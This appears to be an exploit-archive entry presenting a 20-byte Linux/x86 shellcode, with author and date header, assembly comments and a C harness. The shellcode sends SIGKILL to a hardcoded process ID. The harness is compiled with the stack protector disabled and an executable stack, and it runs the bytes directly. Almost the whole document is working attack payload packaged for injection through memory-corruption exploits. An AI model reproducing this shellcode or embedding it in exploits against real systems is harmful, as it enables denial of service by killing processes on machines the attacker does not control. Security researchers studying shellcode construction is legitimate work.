Linux/x86 - Kill Process Shellcode (20 bytes)

/*
     Exploit Title: Kill PID shellcode
     Date: 07/09/2018
     Exploit Author: Nathu Nandwani
     Platform: Linux/x86
     Size: 20 bytes
     Compile: gcc -fno-stack-protector -z execstack killproc.c -o killproc
*/
#include <string.h>
#include <stdio.h>
int main()
{
    unsigned short pid = 2801;
    
    char shellcode[] =
    "\x31\xc0" /* xor eax, eax */
    "\xb0\x25" /* mov al, 0x25 - SYS_KILL */
    "\x89\xc3" /* mov ebx, eax */
    "\x89\xc1" /* mov ecx, eax */
    "\x66\xbb" /* mov bx, ? */
    "\xF1\x0A" /* bx <= pid => 2801 = 0x0AF1 */
    "\xb1\x09" /* mov cl, 0x09 - SIGKILL */
    "\xcd\x80" /* int 0x80 */
    "\xb0\x01" /* mov al, 0x01 */
    "\xcd\x80"; /* int 0x80 */
 
    shellcode[10] = pid & 0xff;
    shellcode[11] = (pid >> 8) & 0xff;
 
    printf("Shellcode length: %d\n", strlen(shellcode));
    int (*ret)() = (int(*)())shellcode;
    ret();
}